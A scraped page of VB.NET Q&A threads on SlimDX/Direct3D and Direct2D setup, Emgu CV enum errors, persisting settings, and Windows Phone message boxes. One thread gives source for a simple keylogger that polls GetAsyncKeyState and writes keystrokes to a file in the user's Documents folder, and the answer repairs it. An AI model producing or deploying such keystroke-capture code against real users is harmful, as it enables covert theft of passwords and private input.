Error during device creation (D3DERR_NOTAVAILABLE) - vb.net

I am trying to convert the SlimDX device creation tutorial from DX11 to DX9. It is a very simple tutorial where you create a windows add a dx9 device and fill the screen with a solid color. However I am getting a D3DERR_NOTAVAILABLE error thrown when I try and create the device. All the code seems to make sense and it looks very similar to the C# code used in the samples. Any Ideas? NOTE: I create a instance of the BaseDisplayclass and call the InitSlimDX method in another class.
Imports SlimDX.Windows
Imports SlimDX.Direct3D9
Imports SlimDX
Imports Device = SlimDX.Direct3D9.Device
Imports Resource = SlimDX.Direct3D9.Resource
Imports System.Windows.Forms.ThreadExceptionDialog
Imports System.IO
Public Class BaseDisplay
Inherits RenderForm
'SlimDX Class Vars
Protected device As Device = Nothing
Protected backBuffer As Surface
Protected presentParams As PresentParameters
Public Sub New()
Show()
End Sub
Public Sub InitSlimDX()
Dim d3d As Direct3D = New Direct3D()
Dim primaryAdaptor As AdapterInformation = d3d.Adapters().First()
presentParams = New PresentParameters()
With presentParams
.BackBufferWidth = Me.ClientSize.Width
.BackBufferHeight = Me.ClientSize.Height
End With
Me.device = New Device(d3d, primaryAdaptor.Adapter, DeviceType.Hardware, Me.Handle, CreateFlags.HardwareVertexProcessing, presentParams)
Me.device.BeginScene()
backBuffer = device.GetBackBuffer(0, 0)
Me.device.ColorFill(backBuffer, New Color4(Color.CornflowerBlue))
Me.device.EndScene()
Me.device.Present()
End Sub
Public Overloads Sub Dispose()
device.Dispose()
MyBase.Dispose()
End Sub
End Class

I figured out what my problem was. Earlier I was messing with my DX9 settings in the DirectX control panel and for some reason I enabled the "Software Only" setting which disabled hardware acceleration. disabling this option fixed the issue.

Related

Unable to use KeysConverter in a keylogger program

I am trying to create a basic keylogging program. I am interested in cyber security and want to learn more. I have hashed together the code below from various sources.
The line text = converter.ToString(i) generates an index out of bounds error.
I am thinking that this is because the object converter has not been instantiated as it should?? But how to fix it?
Imports System.IO
Imports System.Text
Imports System.Windows.Forms
Imports System.Runtime.InteropServices
Imports System.Threading
Module Module1
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Short
Sub Main()
Dim filepath = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments)
filepath &= "\LogsFolder\"
If (Not Directory.Exists(filepath)) Then
Directory.CreateDirectory(filepath)
End If
Dim Path = (filepath & "LoggedKeys.text")
If Not File.Exists(Path) Then
Using sw As StreamWriter = File.CreateText(Path)
End Using
End If
Dim Converter = New KeysConverter()
Dim text As String = ""
While (True)
Thread.Sleep(5)
For i As Integer = 0 To 1999
Dim key = GetAsyncKeyState(i)
If key = 1 Or key = -32767 Then
text = converter.ToString(i)
Using sw As StreamWriter = File.AppendText(Path)
sw.WriteLine(text)
End Using
Exit For
End If
Next
End While
End Sub
End Module
Looks like you're looking for the ConvertToString method.
Replace the following line:
text = converter.ToString(i)
With:
text = converter.ConvertToString(i)
Edit to address your concerns in the comments:
I get a syntax error, 'ConvertToString' is not a member of KeysConverter... it sounds like my instantiation has not worked.
Hover with the mouse cursor over your Converter variable and double-check its type. Make sure that KeysConverter actually is the System.Windows.Forms.KeysConverter class and not some kind of a local generated class.
MyImports System.Windows.Forms statement is ghosted - suggesting that its never used.
That's what I suspected. You seem to be in a Console application and you're accessing a class within the System.Windows.Forms namespace which is not included in the Console app. You need to add a reference to System.Windows.Forms.dll as explained in this answer.
Also, make sure you locate and delete the generated KeysConverter class from your project so you avoid conflicts.

How initialize Direct2D renderer into GDI context from managed code for older version of .NET Framework

Given a legacy desktop application in Windows Form, managed code (a mix of C# and VB projects) running on .NET Framework 3.5 (which can't be migrated to newer .NET for reasons beyond the scope of this question),
how GRADUALLY transition the code from GDI+ to Direct2D? Or possibly to Direct3D?
Another constraint is that the resulting application work on Windows 7, but we will migrate to Windows 8 or Windows 10 if that is the only way to get this to work.
(The impetus is bugs in GDI+ handling of texture when used with Graphics.FillPath and a small texture scaling factor; but we eventually want to move to Direct2D or Direct3D anyway.)
What we want to do would be straightforward, if we were targetting .NET Framework 4.0+ and Windows 8+, as documented here:
Direct2D and GDI Interoperability Overview
Unfortunately, attempting to adapt those instructions to our older target specification has run into a series of roadblocks.
First step is to use some managed wrapper to access Direct2D.
(not sure whether Direct2D 1.0 or 1.1 is targetted by wrappers/code examples/tutorials at Microsoft and elsewhere.)
Options I know about:
A. Microsoft DirectX 9.0 for Managed Code (MDX) (last update 2006):
I've seen discouraging comments about this long-unsupported package, and suggestions to use SlimDX or SharpDX instead [or to migrate to newer Microsoft technologies that are supported, but not compatible with our specified older platform]. Doesn't seem like a good long-term direction. So I have not tried this yet.
B. Win2D - does not support Windows 7, nor .NET Framework 3.5.
C. SharpDX (open source, actively maintained):
Tried to use this. Unfortunately, Direct2D was not added until v.3.0.0, which requires .NET Framework 4.0+. So this is not an option, until we are ready for a more major overhaul of our app.
D. SlimDX (open source, last update 2012):
Succeeded in installing and rendering to a stand-alone Direct2D window.
Stuck on adapting this to render to a "GDI context", as described in the "Interoperability Overview" linked above.
C++ code from "interoperability" link:
// Create a DC render target.
D2D1_RENDER_TARGET_PROPERTIES props = D2D1::RenderTargetProperties(
D2D1_RENDER_TARGET_TYPE_DEFAULT,
D2D1::PixelFormat(
DXGI_FORMAT_B8G8R8A8_UNORM,
D2D1_ALPHA_MODE_IGNORE),
0,
0,
D2D1_RENDER_TARGET_USAGE_NONE,
D2D1_FEATURE_LEVEL_DEFAULT
);
hr = m_pD2DFactory->CreateDCRenderTarget(&props, &m_pDCRT);
Attempting to write VB code:
Dim factory As New Direct2D.Factory
' --- THIS WORKS using SlimDX, SlimDX.Direct2D ---
' (But it is not what I need; taken from SlimDX sample code)
' Stand-alone D2D window (NOT to GDI)
' "IntPtr handle" is "The window handle to associate with the device.".
Dim windowProperties As New WindowRenderTargetProperties(handle, New Size(600, 600))
Dim target As New WindowRenderTarget(factory, windowProperties)
' --- Hand-Translation of C++ code from "interoperability" link ---
Dim targetProperties As New RenderTargetProperties
targetProperties.Type = RenderTargetType.Default
targetProperties.PixelFormat = New PixelFormat(Format.B8G8R8A8_UNorm, AlphaMode.Ignore)
' *** How invoke "ID2D1Factory::CreateDCRenderTarget"? ***
' (There aren't many methods on SlimDX.Direct2D.Factory "factory" above,
' so if it is possible at all, SlimDX must do this some other way.)
' TODO
HOW TO MOVE FORWARD
First question: is the D2D/GDI interoperability described in the link above available for the target platform specified (.NET 3.5, Windows 7)?
If not, then what I am attempting is not possible. Though if Windows 7 is the problem, then a solution for ".NET 3.5 on Windows 10" would be worth knowing.
Second question Assuming the interoperabiity is possible, then I am facing a limitation of SlimDX? Or I've overlooked something? I'd prefer not to add a C++ project to this solution, but if a custom C++ dll could be pre-compiled, and then used [in addition to the SlimDX dll], that would be a (barely) tolerable solution.
Instead of C++ code, manually write managed wrappers to access what is needed [but I can't find in SlimDX] to initialize D2D/GDI interoperability? How convert the C++ code from that link above?
UPDATE
Found the needed call in SlimDX. See my answer for details.
Just discovered DeviceContextRenderTarget class in SlimDX:
' Equivalent to "ID2D1Factory::CreateDCRenderTarget".
Dim target2 As New DeviceContextRenderTarget(factory, targetProperties)
To complete the initialization, need to bind that DC.
C++ from interoperability link:
HRESULT DemoApp::OnRender(const PAINTSTRUCT &ps)
{
HRESULT hr;
RECT rc;
// Get the dimensions of the client drawing area.
GetClientRect(m_hwnd, &rc);
// Create the DC render target.
hr = CreateDeviceResources();
if (SUCCEEDED(hr))
{
// Bind the DC to the DC render target.
hr = m_pDCRT->BindDC(ps.hdc, &rc);
// Draw with Direct2D.
m_pDCRT->BeginDraw();
m_pDCRT->SetTransform(D2D1::Matrix3x2F::Identity());
m_pDCRT->Clear(D2D1::ColorF(D2D1::ColorF::White));
m_pDCRT->DrawEllipse(
D2D1::Ellipse(
D2D1::Point2F(150.0f, 150.0f),
100.0f,
100.0f),
m_pBlackBrush,
3.0
);
hr = m_pDCRT->EndDraw();
// Draw some GDI content.
if (SUCCEEDED(hr))
{
...
}
}
if (hr == D2DERR_RECREATE_TARGET)
{
hr = S_OK;
DiscardDeviceResources();
}
return hr;
}
VB Translation:
' "canvas" is the Windows control (tested with Panel) that I wish to draw D2D in.
Private Sub canvas_Paint(sender As Object, e As System.Windows.Forms.PaintEventArgs) Handles canvas.Paint
' Render GDI content that is below D2D content
'... existing GDI calls ...
' Render Direct2D content.
cDirect2DRenderer.TestRendering(e.Graphics, canvas.ClientSize)
' Render GDI content that is above D2D content.
'... existing GDI calls ...
End Sub
Which uses VB class:
Imports System.Drawing
Imports SlimDX
Imports SlimDX.Direct2D
Imports SlimDX.DXGI
Public Class cDirect2DRenderer
#Region "=== Shared ==="
Public Shared Sub TestRendering(gr As Graphics, canvasSize As System.Drawing.Size)
Dim renderer As New cDirect2DRenderer
' CAUTION: After this, must call EndDraw or ReleaseHDC when done drawing.
Dim success As Boolean = renderer.BeginDraw(gr, canvasSize)
' Render some Direct2D content.
success = renderer.Test_Render(success)
success = renderer.EndDraw(gr, success)
If Not success Then
'TODO: Log error.
End If
renderer.Dispose() : renderer = Nothing
End Sub
#End Region
#Region "=== Fields, Constructor, Dispose ==="
Private Ready As Boolean
Private _factory As New Direct2D.Factory
Private Target As DeviceContextRenderTarget
Private Bounds As Rectangle
Private Hdc As IntPtr
Public Sub New()
End Sub
Public Sub Dispose()
If Target IsNot Nothing Then
Target.Dispose() : Target = Nothing
End If
Ready = False
End Sub
#End Region
#Region "=== BeginDraw, Test_Render, EndDraw ==="
Public Property Factory As Direct2D.Factory
Get
Return _factory
End Get
Set(value As Direct2D.Factory)
If Exists(_factory) Then
_factory.Dispose()
'_factory = Nothing
End If
_factory = value
End Set
End Property
' True if Ready to draw.
' CAUTION: Even if returns False, Caller must call EndDraw, so that ReleaseHDC is called.
Public Function BeginDraw(g As Graphics, canvasSize As System.Drawing.Size) As Boolean
' CAUTION: After this, must call EndDraw or ReleaseHDC when done drawing.
EnsureReady(g, canvasSize)
If Not Ready Then
' Initialization failed.
Return False
End If
Try
Dim success As Boolean = True
Target.BeginDraw()
Return success
Catch ex As Exception
Return False
End Try
End Function
Public Function Test_Render(success As Boolean) As Boolean
Try
Target.Transform = Matrix3x2.Identity
Target.Clear(New Color4(Color.BlueViolet))
Dim brush As Direct2D.Brush = New SolidColorBrush(Target, New Color4(Color.Black))
Dim ellipse As Direct2D.Ellipse = New Ellipse() With {
.Center = New PointF(100, 100),
.RadiusX = 80, .RadiusY = 80}
Target.DrawEllipse(brush, ellipse)
Target.FillEllipse(brush, ellipse)
Catch ex As Exception
success = False
End Try
Return success
End Function
' True if rendering succeeds.
' "success" is accumulation, included in the return value.
Public Function EndDraw(g As Graphics, success As Boolean) As Boolean
' Wrap EndDraw in Try, because "ReleaseHDC" must always be called.
Try
' EndDraw is always called (even if "success" is already False).
success = success And Target.EndDraw().IsSuccess
Catch ex As Exception
success = False
End Try
ReleaseHDC(g)
' TBD: This could be moved out elsewhere.
EnsureFactoryReleased()
If Not success Then
Trouble()
End If
Return success
End Function
' CAUTION: Caller must call EndDraw or ReleaseHDC when done drawing.
Private Sub EnsureReady(g As Graphics, canvasSize As System.Drawing.Size)
Dim newBounds As New Rectangle(0, 0, canvasSize.Width, canvasSize.Height)
If Not Ready OrElse Not SameBounds(newBounds) Then
If Ready Then
Dispose()
End If
Me.Bounds = newBounds
Me.Ready = InitializeDevice(g)
End If
End Sub
' AFTER set Me.Bounds.
' CAUTION: Caller must call g.ReleaseHdc(Me.Hdc) when done drawing.
Private Function InitializeDevice(g As Graphics) As Boolean
Try
'' Stand-alone D2D window (NOT to GDI)
' ...width As Integer, height As Integer
'Dim windowProperties As New WindowRenderTargetProperties(handle, New Size(600, 600))
'Dim target1 As New WindowRenderTarget(factory, windowProperties)
Dim targetProperties As New RenderTargetProperties
targetProperties.Type = RenderTargetType.Default
targetProperties.PixelFormat = New PixelFormat(Format.B8G8R8A8_UNorm, AlphaMode.Ignore)
' Equivalent to "ID2D1Factory::CreateDCRenderTarget".
Me.Target = New DeviceContextRenderTarget(Me.Factory, targetProperties)
' CAUTION: Caller must call g.ReleaseHdc(Me.Hdc) when done drawing.
Me.Hdc = g.GetHdc()
Try
'TestStr = Me.Hdc.ToString()
Dim result As SlimDX.Result = Target.BindDeviceContext(Me.Hdc, Me.Bounds)
If Not result.IsSuccess Then
ReleaseHDC(g)
End If
Return result.IsSuccess
Catch ex As Exception
ReleaseHDC(g)
Return False
End Try
Catch ex As Exception
Return False
End Try
End Function
Private Sub ReleaseHDC(g As Graphics)
Try
g.ReleaseHdc(Me.Hdc)
Finally
Me.Hdc = Nothing
End Try
End Sub
Private Sub EnsureFactoryReleased()
Me.Factory = Nothing
End Sub
Private Function SameBounds(newBounds As Rectangle) As Boolean
' TBD: Does Equals do what we need?
Return (newBounds.Equals(Me.Bounds))
End Function
#End Region
End Class

Error 'LoadImage Type' is not declared. It may be inaccessible due to its protection level

I got above error after copying and pasting some code from here, github.
Will you guys help me to fix it? my code:
Imports Emgu.CV 'usual Emgu Cv imports
Imports Emgu.CV.CvEnum '
Imports Emgu.CV.Structure '
Imports Emgu.CV.UI
Public Class frmMain
Private Sub btnOpenFile_Click(sender As Object, e As EventArgs) Handles btnOpenFile.Click
The LoadImageType gives me some suggestions, I tried but didn't get helpful.
imgOriginal = New Mat(ofdOpenFile.FileName, LoadImageType.Color)
Catch ex As Exception
CvInvoke.GaussianBlur(imgGrayscale, imgBlurred, New Size(5, 5), 1.5)
CvInvoke.Canny(imgBlurred, imgCanny, 100, 200)
ibOriginal.Image = imgOriginal 'update image boxes
ibCanny.Image = imgCanny '
End Sub
End Class
this is the error:
I notice you created your own class called LoadImageType.vb. However, LoadImageType is already a OpenCV enum. You get this error because you probably don't refer to this class at all or you don't initialize it (see also this link).
I would recommend you to remove this custom class that you created and use the OpenCV enum. This enum is located in the Emgu.CV.CvEnum namespace. Maybe specifically specify you want to use the CVEnum namespace:
imgOriginal = New Mat(ofdOpenFile.FileName, CvEnum.LoadImageType.Color)
'You can even try this
imgOriginal = New Mat(ofdOpenFile.FileName, Emgu.CV.CvEnum.LoadImageType.Color)
If this doesn't work, why don't you try to see if you can specifically enter a integer? The LoadImageType enum is nothing else then a conversion to a integer (see docs). So for color, you should enter value 1. If this works, you know something goes wrong with using the enumeration:
imgOriginal = New Mat(ofdOpenFile.FileName, 1)
If this still doesn't work, why don't you just use the imread method (see docs)? I always use that one without a LoadImageType enum and have no problems at all:
Dim img As Mat
img = CvInvoke.Imread(ofdOpenFile.FileName)
Or if you specifically want to use LoadImageType you can also try:
Dim img As Mat
img = CvInvoke.Imread(ofdOpenFile.FileName, CvEnum.LoadImageType.Color)

VB.NET How to save Program settings inside class module

I'm currently building a program which requires numerous staff to use my program and the program is located on a shared drive on the network so all users can access the program. In my program I have a Database which I use to manage all the user accounts and other information. When you run the program for the first time ever on the network, it asks the administrator where to create the database. After the program creates the database, I save the connection string to a string variable in a class module within my program. However once I exit the program the value I set the to the string variable in the class gets erased. Is there a way to prevent the string from losing its value after closing the program ? I know I could do this via my.settings but I don't want to do it that way.
You can make your own settings file using a binary serializer.
This method can be used to store an instance of your settings class to a file, which is not very human-readable. If human readability and editability is required, you could use an xml serializer instead. The settings file will reside in the application directory. You can control this with the variable settingsFileName.
Create a new console application and paste the code below. Run it a couple of times and note that the "connection string" is persisted through application close and open.
Imports System.IO
Imports System.Runtime.Serialization.Formatters.Binary
Module Module1
Private settingsFileName As String = "Settings.bin"
Private mySettingsClass As SettingsClass
Private Sub loadSettings()
Dim formatter As New BinaryFormatter()
If File.Exists(settingsFileName) Then
Using stream As New FileStream(settingsFileName, FileMode.Open)
mySettingsClass = CType(formatter.Deserialize(stream), SettingsClass)
End Using
Else
Using Stream As New FileStream(settingsFileName, FileMode.CreateNew)
mySettingsClass = New SettingsClass()
formatter.Serialize(Stream, mySettingsClass)
End Using
End If
End Sub
Private Sub saveSettings()
Dim formatter As New BinaryFormatter()
If File.Exists(settingsFileName) Then
Using stream As New FileStream(settingsFileName, FileMode.Truncate)
formatter.Serialize(stream, mySettingsClass)
End Using
Else
Using stream As New FileStream(settingsFileName, FileMode.CreateNew)
formatter.Serialize(stream, mySettingsClass)
End Using
End If
End Sub
<Serializable>
Public Class SettingsClass
Public Property ConnectionString As String = ""
End Class
Sub Main()
Console.WriteLine("Loading settings...")
loadSettings()
Dim connectionString = mySettingsClass.ConnectionString
Console.WriteLine("Connection string: ""{0}""", connectionString)
Console.WriteLine("Enter new connection string...")
mySettingsClass.ConnectionString = Console.ReadLine()
Console.WriteLine("Saving settings...")
saveSettings()
Console.WriteLine("Done!")
Console.ReadLine()
End Sub
End Module
Add additional properties to SettingsClass which can be used elsewhere in your application.

WPF8 Messagebox

I'm trying to implement this code:
Dim result As MessageBoxResult = _
MessageBox.Show("Would you like to see the simple version?", _
"MessageBox Example", MessageBoxButton.OKCancel)
If (result = MessageBoxResult.OK) Then
MessageBox.Show("No caption, one button.")
End If
But getting an error: Type 'MessageBoxResult' is not defined
Why is happening?
I'm using: Microsoft Visual Studio Professional 2013 Version 12.0.30501.00 Update 2 Microsoft .NET Framework Version 4.5.51641
Nothing wrong with your code. It should work (I implemented it myself). So it has to be some linking error / install error / or project creation error.
So lets fix, so lets try this:
File -> New -> Project
Select Template -> Visual Basic -> Store App -> windows Phone App -> Blank App (Windows Phone Silverlight)
Select 8.0 as the Target
It should generate you a blank app, then lets try and create a MessageBox on the Page Loaded Event
Imports System
Imports System.Threading
Imports System.Windows.Controls
Imports Microsoft.Phone.Controls
Imports Microsoft.Phone.Shell
Imports System.Windows
Partial Public Class MainPage
Inherits PhoneApplicationPage
' Constructor
Public Sub New()
InitializeComponent()
SupportedOrientations = SupportedPageOrientation.Portrait Or SupportedPageOrientation.Landscape
End Sub
Private Sub PhoneApplicationPage_Loaded(sender As Object, e As RoutedEventArgs)
Dim result As MessageBoxResult = _
MessageBox.Show("Would you like to see the simple version?", _
"MessageBox Example", MessageBoxButton.OKCancel)
If (result = MessageBoxResult.OK) Then
' Do whatever
End If
End Sub
End Class
If that doesn't work then we need to make sure that System.Windows is imported
Right click on the Project -> Properties
Click on References
Make sure System.Windows has a checkmark
If System.Windows didn't resolve then you had a Windows Phone Runtime app (targetting Windows Phone 8.1) rather than a Windows Phone Silverlight app (for either 8.0 or 8.1). Chubosaurus' steps will create a Silverlight app.
You can confirm in the Solution Explorer, which will show the target for the project. To use System.Windows and MessageBox you will need a Windows Phone Silverlight app.
If you have a Windows Phone 8.1 app you can use Windows.UI.Popups.MessageDialog instead
Async Function ShowMyDialog() As Task(Of Boolean)
Dim result As Boolean = False
Dim dialog As New Windows.UI.Popups.MessageDialog("Would you like to see the simple version?", "MessageDialog Example")
dialog.Commands.Add(New Windows.UI.Popups.UICommand("Ok",
Async Sub(command)
result = True
Dim okDialog As New Windows.UI.Popups.MessageDialog("No caption, one button.")
Await okDialog.ShowAsync()
End Sub))
dialog.Commands.Add(New Windows.UI.Popups.UICommand("Cancel"))
dialog.DefaultCommandIndex = 0
dialog.CancelCommandIndex = 1
Await dialog.ShowAsync()
Return result
End Function